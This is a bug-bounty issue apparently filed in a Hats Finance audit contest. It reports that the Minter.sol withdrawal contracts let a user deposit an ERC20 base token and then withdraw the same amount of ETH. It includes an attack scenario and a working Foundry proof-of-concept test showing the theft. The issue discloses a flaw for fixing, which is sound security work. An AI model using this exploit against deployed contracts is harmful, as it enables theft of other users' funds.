User can deposit baseToken & withdraw same amount of eth instead of that baseToken

[hats-bug-reporter[bot]]

Github username: -- Twitter username: -- Submission hash (on-chain): 0xfbeaf3d3de0e8c3952b3d6c75ef2a81ed771b99cc1c913e9fc91b5b8111cd2e1 Severity: high

Description: Description

The withdrawal related contacts in Minter.sol does not check whether a user staked using ETH or baseToken, for this any user can deposit baseToken & withdraw ETH [same amount of deposited baseToken].

Attack Scenario

1. Alice has 10e18 amount of baseToken, she called ERC20Minter::deposit() to deposit this amount, after depositing she got same amount of stakingToken because fee is 0.
2. Now Alice has 10e18 amount of stakingToken.
3. Assume the NativeMinterWithdrawal contract has 10e18 amount of ether as balance which it received from other user's deposit.
4. Now Alice called BaseMinterWithdrawal::requestWithdrawal() with her address & 10e18 as amount, the 10e18 amount of stakingToken is transferred from Alice to this contrac, a nft was minted for her and WithdrawalRequest struct is made for her, WIthdrawalRequest.amount holds the amount which Alice will receive after successful withdrawal. In this function totalPendingWithdrawals is 10e18 & totalWithdrawalFees is 0 because withdrawalFee is 0 for now. The id of the NFT is 0.
5. The admin called processWithdrawals() with that NFT id, the 10e18 amount of stakingToken was burned, totalUnclaimedWithdrawals is now 10e18. Now the WithdrawalRequest is in processed state.
6. Now Alice called NativeMinterWithdrawal::claimWithdrawal() with her nft id & her address, the nft is burned & 10e18 amount of eth is transferred to her.

In this whole process the withdrawal related contracts does not check that whether Alice staked using eth or baseToken, using this flaw Alice can steal Eth by depositing normal erc20.

As the bug is very obvious I did not provide any POC, but i can provide POC if you want.

Attachments

1. Proof of Concept (PoC) File

2. Revised Code File (Optional)

[itsabinashb]

I submitted similar issue related to redeem related contracts, so these 2 reports are not duplicates, both has similar problem but origin & affected functionalities are different, this: #25.

[itsabinashb]

POC

Intitalize foundry with forge init --force, then install OZ's erc20 plugin. Create a test file in test directory and paste this, the run the test:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import {IERC20, NativeMinter, ERC20Minter, NativeMinterRedeem, ERC20MinterRedeem, NativeMinterWithdrawal, ERC20MinterWithdrawal} from '../contracts/Minter.sol';
import {Test, console} from '../lib/forge-std/src/Test.sol';
import {ERC20} from '../lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol';

contract testMinter is Test {
  MockBaseToken baseToken;
  MockStakingToken stakingToken;
  ERC20Minter erc20Minter;
  NativeMinter nativeMinter;
  NativeMinterRedeem nativeMinterRedeem;
  ERC20MinterRedeem erc20MinterRedeem;
  NativeMinterWithdrawal nativeMinterWithdrawal;

  function setUp() public {
    baseToken = new MockBaseToken();
    stakingToken = new MockStakingToken();
    erc20Minter = new ERC20Minter(address(baseToken), address(stakingToken));
    nativeMinter = new NativeMinter(address(stakingToken));
    nativeMinterRedeem = new NativeMinterRedeem(address(stakingToken));
    erc20MinterRedeem = new ERC20MinterRedeem(address(baseToken), address(stakingToken));
    nativeMinterWithdrawal = new NativeMinterWithdrawal(address(stakingToken), 'NFT_TOKEN', 'nft');
  }

  function test_stealETHFromWithdrawal() public {
    vm.deal(address(nativeMinterWithdrawal), 10 ether);
    address alice = makeAddr('alice');
    deal(address(baseToken), alice, 10 ether);
    assertEq(baseToken.balanceOf(alice), 10 ether);
    vm.startPrank(alice);
    baseToken.approve(address(erc20Minter), 10e18);
    erc20Minter.deposit(10e18, alice);
    stakingToken.approve(address(nativeMinterWithdrawal), 10e18);
    nativeMinterWithdrawal.requestWithdrawal(10e18, alice);
    vm.stopPrank();
    uint[] memory withdrawalIds = new uint[](1);
    withdrawalIds[0] = 0;
    vm.prank(address(this));
    nativeMinterWithdrawal.processWithdrawals(withdrawalIds);
    assertEq(address(alice).balance, 0, "Error: Alice's eth balance is not zero!");
    assertEq(address(nativeMinterWithdrawal).balance, 10e18, "Error: nativeMinterWithdrawal's eth balance is zero!");
    vm.prank(alice);
    nativeMinterWithdrawal.claimWithdrawal(0, alice);
    assertEq(address(alice).balance, 10e18, "Error: Alice's eth balance is zero!");
    assertEq(address(nativeMinterWithdrawal).balance, 0, 'Error: nativeMinterWithdrawals eth balance is not zero!');
  }
}

contract MockBaseToken is ERC20 {
  constructor() ERC20('BASE_TOKEN', 'baseToken') {}

  function mint(address to, uint256 amount) public {
    _mint(to, amount);
  }
}

contract MockStakingToken is ERC20 {
  constructor() ERC20('STAKING_TOKEN', 'stakingToken') {}

  function mint(address to, uint256 amount) public {
    _mint(to, amount);
  }

  function burn(uint amount) public {
    _burn(msg.sender, amount);
  }
}

[ilzheev]

Duplicate of this: https://github.com/hats-finance/OLD-Accumulated-finance-0x75278bcc0fa7c9e3af98654bce195eaf3bb6a784/issues/25